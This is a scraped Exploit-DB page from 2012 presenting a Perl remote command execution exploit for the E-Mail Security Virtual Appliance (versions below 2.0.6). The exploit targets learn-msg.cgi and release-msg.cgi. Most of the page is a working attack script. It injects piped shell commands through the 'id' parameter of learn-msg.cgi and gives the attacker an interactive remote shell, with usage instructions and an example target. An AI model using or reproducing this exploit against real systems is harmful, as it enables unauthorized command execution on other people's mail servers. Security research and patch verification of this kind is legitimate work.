E-Mail Security Virtual Appliance (ESVA) – Remote Execution - 体验盒子

作者： iJoo

日期： 2012-08-16

类别：

remote

平台：

linux

来源：https://www.exploit-db.com/exploits/20551/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

# Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution.

# Date: 10 Aug 2012

# Exploit Author: iJoo

# Vendor Homepage: http://www.esvacommunity.com/

# Software Link: http://sourceforge.net/projects/esva-project/

# Version: < 2.0.6

ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server.

-=+ Infected Files

..../cgi-bin/learn-msg.cgi

..../cgi-bin/release-msg.cgi

Not found any strips/filter to metacharacters..

Attacker can easily execute command..

-=+ Simple RCE ESVA

#! /usr/bin/perl

use LWP;

use HTTP::Request;

if (@ARGV < 1)

{

print "\n==========================================\n";

print " ESVA - REMOTE EXECUTION SCRIPT \n";

print "==========================================\n";

print "Usage: perl esva.pl host (without http://)\n";

print "Ex. perl esva.pl www.korban.com\n";

exit;

}

$host=$ARGV[0];

print "Try to Execution Command!\n";

print "iDSc-shell# ";

chomp( $cmd = <STDIN>);

while($cmd !~ "exit")

{

$content = "";

$ua = LWP::UserAgent->new();

$ua->agent('');

$request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b");

$response = $ua->request ($request);

$content = $response->content;

print $content."\n";

print "iDSc-shell# ";

chomp( $cmd = <STDIN>);

}

-=+ Thanks to

My lovely Country NKRI INDONESIA!!

binh4x staff - www.binushacker.net // Forum.binushacker.net